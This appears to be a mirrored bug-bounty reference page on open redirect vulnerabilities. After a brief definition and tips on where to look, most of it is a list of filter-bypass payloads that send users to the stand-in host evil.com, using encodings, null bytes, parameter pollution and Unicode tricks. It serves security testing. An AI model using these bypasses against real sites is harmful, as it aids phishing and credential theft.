daffainfo
/
AllAboutBugBounty
mirror of https://github.com/daffainfo/AllAboutBugBounty.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
AllAboutBugBounty/Open Redirect.md

2.2 KiB
Raw Blame History

Open Redirect

Introduction

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain

Where to find

  • Sometimes it can be found in login / register / logout pages
  • Checking the javascript source code

How to exploit

  1. Try change the domain
/?redir=evil.com
  1. Using a whitelisted domain or keyword
/?redir=target.com.evil.com
  1. Using // to bypass http blacklisted keyword
/?redir=//evil.com
  1. Using https: to bypass // blacklisted keyword
/?redir=https:evil.com
  1. Using \\ to bypass // blacklisted keyword
/?redir=\\evil.com
  1. Using \/\/ to bypass // blacklisted keyword
/?redir=\/\/evil.com/
/?redir=/\/evil.com/
  1. Using %E3%80%82 to bypass . blacklisted character
/?redir=evil。com
/?redir=evil%E3%80%82com
  1. Using null byte %00 to bypass blacklist filter
/?redir=//evil%00.com
  1. Using parameter pollution
/?next=target.com&next=evil.com
  1. Using @ or %40 character, browser will redirect to anything after the @
/?redir=target.com@evil.com
/?redir=target.com%40evil.com
  1. Creating folder as their domain
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
  1. Using ? characted, browser will translate it to /?
/?redir=target.com?evil.com
  1. Bypass the filter if it only checks for domain name using %23
/?redir=target.com%23evil.com
  1. Host/Split Unicode Normalization
https://evil.c℀.example.com
  1. Using parsing
http://ⓔⓥⓘⓛ.ⓒⓞⓜ
  1. Using ° symbol to bypass
/?redir=target.com/°evil.com
  1. Bypass the filter if it only allows yoou to control the path using a nullbyte %0d or %0a
/?redir=/%0d/evil.com

References